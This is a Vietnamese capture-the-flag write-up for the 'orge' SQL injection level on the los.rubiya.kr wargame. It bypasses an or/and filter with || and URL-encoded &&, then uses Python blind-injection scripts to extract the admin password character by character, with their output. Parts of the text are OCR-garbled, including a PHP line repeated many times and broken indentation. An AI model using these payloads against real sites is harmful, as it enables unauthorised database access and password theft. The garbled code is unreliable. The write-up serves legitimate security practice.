query : select id from prob_orge where id='guest' and pw=''

```
<?php
  include "./config.php";
 login_chk();
 $db = dbconnect();
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
 if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
 $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
 echo "<hr>query : <strong>{$query}</strong><hr><br>";
 $result = @mysqli fetch array(mysqli query($db,$query));
 if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 $_GET[pw] = addslashes($_GET[pw]);
 $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
 $result = @mysqli_fetch_array(mysqli_query($db,$query));
 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
 highlight file( FILE );
?>
```

Challenge này khá giống với cái trước đó. Đầu tiên cần tìm cách bypass filter của trang web, ở đây or và and sẽ bị filter. Và sau đó cần tìm ra password của admin.

← → **C a los.rubiya.kr**/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=haha%27%20or%20id=%27admin%27%23

НеНе

Thử với <mark>or</mark> trong query thì bị filter.

Hello admin

```
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob orge where id='guest' and pw='{$ GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
  highlight_file(__FILE__);
?>
```

Sau khi thử các cách khác nhau thì ta có cách hợp lệ là thay <mark>or</mark> bằng <mark>||</mark>. Cuối câu thêm dấu <mark>#</mark> để bỏ dấu quote cuối cùng.

← → **C a** los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=haha%27||id=%27admin%27%26%261=1%23

 ${\tt query: select\ id\ from\ prob_orge\ where\ id='guest'\ and\ pw='haha'||id='admin'\&\&1=1\#'}$

Hello admin

```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong</hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{strong}<{$query}</strong><hr>>\frac{g
```

Tương tự thì sẽ thử thay <mark>and</mark> bằng && nhưng kết quả không được. Một cách khác là url encode nó và bypass and thành công như hình trên. Với & được encode thành <mark>%26</mark>. Tiếp theo ta cần viết đoạn code

để brute force giá trị của pw. Đoạn code sẽ có 2 phần, đầu tiên dùng hàm length() để tìm ra độ dài của pw. Sau đó là dùng substring() để dò từng kí tự của pw.

```
for i in range(1, 30):
    payload = f"pw=1'%7C%7Cid='admin'%26%26length(pw)=" + str(i) + "%23"
    url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?"+payload

    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Geck request.add_header('Cookie', 'PHPSESSID=nmk68iafdmus1nkvs9mekkaj4m')
    request.get_method = lambda:'POST'
    data = opener.open(request)
    data = data.read()

if bytes("Hello admin", 'utf-8') in data:
    print("len: ", i)
    # break
else:
    print("check with url = ", url)

time.sleep(0.2)
```

Đoạn code trên để tìm độ dài của pw.

```
C:\Users\qt\Desktop\ctf3>py Orge.py
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=1%23
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=2%23
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=3%23
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=4%23
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=5%23
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=6%23
check with url = https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'%7C%7Cid='admin'%26%26length(pw)=7%23
len: 8
```

Kết quả tìm ra độ dài của pw là 8.

```
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
string =
key = ""
for i in range(1, 9):
    for j in range(len(string)):
        payload = f"%26%26(substring(pw," + str(i) + ",1)='" + string[j] + "')%23"
        url = "https://los.rubiya.kr/chall/orge bad2f25db233a7542be75844e314e9f3.php?pw=haha'%7C%7Cid='admin'"+payload
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('Cookie', 'PHPSESSID=nmk68iafdmus1nkvs9mekkaj4m')
request.get_method = lambda:'POST'
        data = opener.open(request)
        data = data.read()
        if bytes("Hello admin", 'utf-8') in data:
            key += string[j]
            print("Testing with i, j: ", i, j)
        time.sleep(0.2)
    print("key: ", key)
```

Tương tự thì đoạn code trên sẽ dò từng kí tự của pw.

```
key: 7b751ae
Testing with i, j: 8 0
Testing with i, j: 8 1
Testing with i, j: 8 2
Testing with i, j: 8 3
Testing with i, j: 8 4
Testing with i, j: 85
Testing with i, j: 8 6
Testing with i, j: 8 7
Testing with i, j: 88
Testing with i, j: 8 9
Testing with i, j: 8 10
Testing with i, j: 8 11
key: 7b751aec
7b751aec
C:\Users\qt\Desktop\ctf3>
```

Kết quả tìm ra pw là 7b751aec

query : select id from prob orge where id='guest' and pw='7b751aec'

ORGE Clear!

```
(?php
 include "./config.php";
 login_chk();
 $db = dbconnect();
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
 if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
 $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
 echo "<hr>query : <strong>{$query}</strong><hr><br>";
 $result = @mysqli_fetch_array(mysqli_query($db,$query));
 if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 $_GET[pw] = addslashes($_GET[pw]);
 $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
 $result = @mysqli_fetch_array(mysqli_query($db,$query));
 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
 highlight_file(__FILE__);
>>
```

Nhập vào pw và hoàn thành challenge.